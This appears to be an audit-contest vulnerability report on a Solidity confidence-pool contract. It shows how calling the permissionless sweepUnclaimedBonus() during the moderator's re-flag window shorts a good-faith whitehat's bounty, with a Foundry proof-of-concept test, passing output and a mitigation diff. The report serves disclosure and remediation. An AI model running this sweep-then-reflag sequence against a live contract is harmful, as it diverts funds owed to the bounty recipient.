FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Permissionless `sweepUnclaimedBonus()` can permanently divert the bonus pool away from a good-faith CORRUPTED attacker's entitlement

Author Revealed upon completion

Root + Impact

Description

  • Normally, sweepUnclaimedBonus() is a permissionless hygiene function: once a pool resolves SURVIVED or EXPIRED, anyone can sweep bonus that no staker is owed (because no risk window was ever observed, or because no stakers remain) to recoveryAddress. Separately, flagOutcome() may be re-flagged by the moderator any number of times before the first claim, so they can correct a mistaken outcome or attacker before any participant locks in the wrong distribution (docs/DESIGN.md §4). For good-faith CORRUPTED, bountyEntitlement is meant to equal the entire pool — snapshotTotalStaked + snapshotTotalBonus — so the named whitehat can claim it all via claimAttackerBounty() (docs/DESIGN.md §12).

  • The specific issue is that sweepUnclaimedBonus() deliberately never sets claimsStarted, so it remains callable inside the moderator's still-open pre-claim re-flag window. If the moderator's first flag is SURVIVED while riskWindowStart == 0 (an accepted, documented possibility — docs/DESIGN.md §5/§6), anyone can sweep the entire live totalBonus to recoveryAddress before the moderator corrects the flag to good-faith CORRUPTED with a named attacker. The correction still succeeds, but bountyEntitlement is recomputed from the now-drained live totalBonus, not from any value captured at the first flag — so the named attacker permanently receives less than "the entire pool" the design guarantees them, and recoveryAddress (sponsor-controlled, docs/DESIGN.md §10) keeps the difference.

// src/ConfidencePool.sol
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_) external onlyModerator {
// Re-flag allowed pre-claim so the moderator can fix a typo'd outcome / attacker before
// any participant locks in the wrong distribution.
@> if (outcome != PoolStates.Outcome.UNRESOLVED && claimsStarted) revert OutcomeAlreadySet();
IAttackRegistry.ContractState state = _observePoolState();
// ... goodFaith / attacker / state validation omitted ...
bool willBeGoodFaithCorrupted = newOutcome == PoolStates.Outcome.CORRUPTED && goodFaith_;
outcome = newOutcome;
goodFaith = goodFaith_;
attacker = attacker_;
snapshotTotalStaked = totalEligibleStake;
@> snapshotTotalBonus = totalBonus; // <- recomputed from LIVE totalBonus on every (re-)flag
snapshotSumStakeTime = sumStakeTime;
snapshotSumStakeTimeSq = sumStakeTimeSq;
corruptedReserve = newOutcome == PoolStates.Outcome.CORRUPTED ? snapshotTotalStaked + snapshotTotalBonus : 0;
@> bountyEntitlement = willBeGoodFaithCorrupted ? snapshotTotalStaked + snapshotTotalBonus : 0;
// ...
}
function sweepUnclaimedBonus() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED && outcome != PoolStates.Outcome.EXPIRED) {
revert OutcomeNotEligibleForSweep();
}
uint256 reserved;
if (totalEligibleStake != 0) {
reserved = totalEligibleStake;
if (riskWindowStart != 0) {
reserved += snapshotTotalBonus - claimedBonus;
}
}
// @> when riskWindowStart == 0, `reserved` excludes the bonus entirely — the FULL
// @> snapshotTotalBonus is treated as unreserved and swept below.
uint256 freeBalance = stakeToken.balanceOf(address(this));
uint256 amount = freeBalance > reserved ? freeBalance - reserved : 0;
if (amount == 0) revert NothingToSweep();
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
}
// Intentionally does NOT set claimsStarted. A direct-transfer donation of as little as 1
// wei would otherwise let anyone flip the flag post-flagOutcome and block the moderator's
// documented pre-claim re-flag window. Genuine reliance only comes from claim entrypoints.
@> // <- this also leaves the door open for a REAL (non-dust) bonus sweep to land inside the
@> // still-open re-flag window, permanently shrinking what the next flagOutcome() will snapshot.
stakeToken.safeTransfer(recoveryAddress, amount);
emit BonusSwept(msg.sender, recoveryAddress, amount);
}

Risk

Likelihood:

  • This occurs whenever the registry transitions from pre-attack staging directly to a terminal state without any pool interaction observing it in an active-risk state, which leaves riskWindowStart == 0 — a scenario docs/DESIGN.md §5/§6 explicitly documents as reachable and accepted, not a purely theoretical edge case.

  • This occurs whenever the moderator exercises the documented re-flag mechanism (docs/DESIGN.md §4) to correct an interim outcome, because sweepUnclaimedBonus() is permissionless and the sponsor — who directly controls recoveryAddress — has a standing, zero-cost financial incentive to call it in the gap between the moderator's interim flag and their correction.

Impact:

  • The named good-faith attacker permanently receives less than the "entire pool" bounty the design guarantees them, shorted by exactly the diverted bonus amount, with no revert or on-chain signal marking the shortfall — it is only visible by comparing bountyEntitlement against snapshotTotalStaked + BONUS off-chain.

  • recoveryAddress (sponsor-controlled) permanently retains value the design intends for the whitehat attacker, at zero additional cost to the sponsor beyond one permissionless transaction.

Proof of Concept

Two Foundry tests: the exploit, and a control proving the whitehat receives the full pool (STAKE + BONUS) when the intervening sweep does not occur — isolating sweepUnclaimedBonus() as the sole cause of the shortfall. The real BattleChain Safe Harbor interfaces live in an out-of-scope git submodule not included in the contest download; this PoC mocks them with matching call signatures, consistent with docs/DESIGN.md §11's own framing of the registry as a trusted, out-of-adversarial-model dependency.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IAgreement} from "@battlechain/interface/IAgreement.sol";
import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";
contract MockToken is ERC20 {
constructor() ERC20("Mock Stake Token", "MOCK") {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract MockAgreement is IAgreement {
address public immutable ownerAddr;
mapping(address => bool) public inScope;
constructor(address owner_) {
ownerAddr = owner_;
}
function owner() external view returns (address) {
return ownerAddr;
}
function setInScope(address account, bool val) external {
inScope[account] = val;
}
function isContractInScope(address account) external view returns (bool) {
return inScope[account];
}
}
/// @dev Combined mock playing both IBattleChainSafeHarborRegistry and IAttackRegistry roles —
/// ConfidencePool.sol only ever needs registry.getAttackRegistry() to resolve to *something*
/// implementing getAgreementState, so pointing it at itself is sufficient and keeps the PoC small.
contract MockRegistry is IBattleChainSafeHarborRegistry, IAttackRegistry {
mapping(address => bool) public valid;
ContractState public state;
function setValid(address agreement, bool val) external {
valid[agreement] = val;
}
function setState(ContractState s) external {
state = s;
}
function isAgreementValid(address agreement) external view returns (bool) {
return valid[agreement];
}
function getAttackRegistry() external view returns (address) {
return address(this);
}
function getAgreementState(address) external view returns (ContractState) {
return state;
}
}
contract BonusDiversionPoC is Test {
MockToken token;
MockAgreement agreement;
MockRegistry registry;
ConfidencePool pool;
address sponsor = makeAddr("sponsor");
address moderator = makeAddr("moderator");
address recoveryAddress = makeAddr("recoveryAddress");
address staker = makeAddr("staker");
address whitehat = makeAddr("whitehat");
address bystander = makeAddr("bystander");
address scopeAccount = makeAddr("scopeAccount");
uint256 constant STAKE = 100 ether;
uint256 constant BONUS = 40 ether;
function setUp() public {
token = new MockToken();
agreement = new MockAgreement(sponsor);
registry = new MockRegistry();
registry.setValid(address(agreement), true);
agreement.setInScope(scopeAccount, true);
// Pre-attack staging: init + deposits happen here so neither observes active risk.
registry.setState(IAttackRegistry.ContractState.NOT_DEPLOYED);
ConfidencePool impl = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(impl)));
address[] memory accounts = new address[](1);
accounts[0] = scopeAccount;
vm.prank(sponsor);
IConfidencePool(address(pool)).initialize(
address(agreement),
address(token),
address(registry),
moderator,
block.timestamp + 60 days,
1 ether,
recoveryAddress,
sponsor,
accounts
);
token.mint(staker, STAKE);
vm.prank(staker);
token.approve(address(pool), STAKE);
vm.prank(staker);
IConfidencePool(address(pool)).stake(STAKE);
token.mint(sponsor, BONUS);
vm.prank(sponsor);
token.approve(address(pool), BONUS);
vm.prank(sponsor);
IConfidencePool(address(pool)).contributeBonus(BONUS);
}
function test_bonusDivertedAwayFromGoodFaithAttacker() public {
// The registry skips straight from pre-attack staging to a terminal state without ever
// being OBSERVED by any pool interaction while in an active-risk state. This is an
// explicitly accepted possibility per docs/DESIGN.md S5/S6 ("no observable risk window").
registry.setState(IAttackRegistry.ContractState.PRODUCTION);
assertEq(pool.riskWindowStart(), 0, "precondition: risk window was never observed");
// Moderator reads the (mistaken, or later-superseded) on-chain state and flags SURVIVED.
// docs/DESIGN.md S4 explicitly anticipates the moderator later correcting this via re-flag.
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint8(pool.outcome()), uint8(PoolStates.Outcome.SURVIVED));
assertEq(pool.snapshotTotalBonus(), BONUS);
assertFalse(pool.claimsStarted(), "re-flag window still open, nobody has claimed");
// A permissionless bystander sweeps unclaimed bonus. Under the documented
// "no observable risk -> no bonus owed" rule this call is entirely correct on its own
// terms: riskWindowStart == 0, so the full BONUS is legitimately unreserved and sweepable.
vm.prank(bystander);
IConfidencePool(address(pool)).sweepUnclaimedBonus();
assertEq(token.balanceOf(recoveryAddress), BONUS, "bonus already swept to recoveryAddress");
assertEq(pool.totalBonus(), 0, "live totalBonus drained");
assertFalse(pool.claimsStarted(), "sweep deliberately does not set claimsStarted (by design)");
// New information (or a corrected read) shows the registry is actually CORRUPTED. Because
// claimsStarted is still false, the moderator's documented re-flag window is still open.
registry.setState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
// docs/DESIGN.md S12: "the entire pool is the named attacker's bounty" for good-faith
// CORRUPTED. Instead bountyEntitlement is computed from the already-drained live
// totalBonus, silently shorting the whitehat by exactly the swept BONUS.
assertEq(pool.bountyEntitlement(), STAKE, "attacker entitlement missing the swept bonus");
assertLt(pool.bountyEntitlement(), STAKE + BONUS, "should have been the FULL pool per DESIGN.md S12");
vm.prank(whitehat);
IConfidencePool(address(pool)).claimAttackerBounty();
assertEq(token.balanceOf(whitehat), STAKE, "whitehat only received STAKE, not STAKE+BONUS");
// Nothing is left for claimCorrupted to sweep afterward - the missing BONUS didn't stay
// in the pool for anyone downstream to claim later; it already permanently left to
// recoveryAddress in the earlier sweep.
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
IConfidencePool(address(pool)).claimCorrupted();
// Net result: recoveryAddress permanently keeps the BONUS that docs/DESIGN.md S12 says
// should have gone to the named good-faith whitehat as part of "the entire pool."
assertEq(token.balanceOf(recoveryAddress), BONUS, "recoveryAddress keeps the diverted bonus");
assertEq(token.balanceOf(whitehat) + token.balanceOf(recoveryAddress), STAKE + BONUS);
}
/// @notice Control: identical sequence, minus the intervening sweepUnclaimedBonus() call.
/// Confirms the whitehat receives the FULL pool (STAKE + BONUS) when nothing intervenes,
/// isolating the sweep as the sole cause of the shortfall proven above.
function test_control_noSweep_attackerGetsFullPool() public {
registry.setState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// No sweepUnclaimedBonus() call here - this is the only difference from the PoC above.
registry.setState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
IConfidencePool(address(pool)).flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
assertEq(pool.bountyEntitlement(), STAKE + BONUS, "control: full pool, as DESIGN.md S12 intends");
vm.prank(whitehat);
IConfidencePool(address(pool)).claimAttackerBounty();
assertEq(token.balanceOf(whitehat), STAKE + BONUS, "control: whitehat received the entire pool");
assertEq(token.balanceOf(recoveryAddress), 0, "control: recoveryAddress gets nothing");
}
}

Test output:

Ran 2 tests for test/BonusDiversion.t.sol:BonusDiversionPoC
[PASS] test_bonusDivertedAwayFromGoodFaithAttacker() (gas: 365669)
[PASS] test_control_noSweep_attackerGetsFullPool() (gas: 333394)
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.96ms (1.57ms CPU time)

Recommended Mitigation

Close the re-flag window whenever sweepUnclaimedBonus() sweeps real, snapshot-tied bonus value (the riskWindowStart == 0 / totalEligibleStake == 0 branch) — the same branch that already decrements the live totalBonus. Leave claimsStarted untouched for the pure donation/dust-excess case, preserving the original 1-wei-donation protection.

// Bonus is only unreserved when no staker is owed it (no risk window, or no stakers left).
// In that case the sweep removes it from the pool, so drop it from the live `totalBonus`
// too — keeping the accounting honest for any later re-snapshot. Clamp to `totalBonus` so
// swept donations/dust (never counted in it) can't over-decrement or underflow.
if (totalEligibleStake == 0 || riskWindowStart == 0) {
totalBonus -= amount <= totalBonus ? amount : totalBonus;
+ // This branch sweeps real, snapshot-tied bonus value (not incidental donation dust),
+ // so it must close the moderator's re-flag window the same way a claim does —
+ // otherwise a later correct re-flag silently recomputes bountyEntitlement /
+ // corruptedReserve from an already-diverted totalBonus.
+ if (!claimsStarted) claimsStarted = true;
}
- // Intentionally does NOT set claimsStarted. A direct-transfer donation of as little as 1
- // wei would otherwise let anyone flip the flag post-flagOutcome and block the moderator's
- // documented pre-claim re-flag window. Genuine reliance only comes from claim entrypoints.
+ // claimsStarted is intentionally left untouched here when only donation/dust excess is
+ // swept (handled by the branch above, not this line) — a 1-wei donation must not let
+ // anyone block the moderator's documented pre-claim re-flag window.
stakeToken.safeTransfer(recoveryAddress, amount);

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!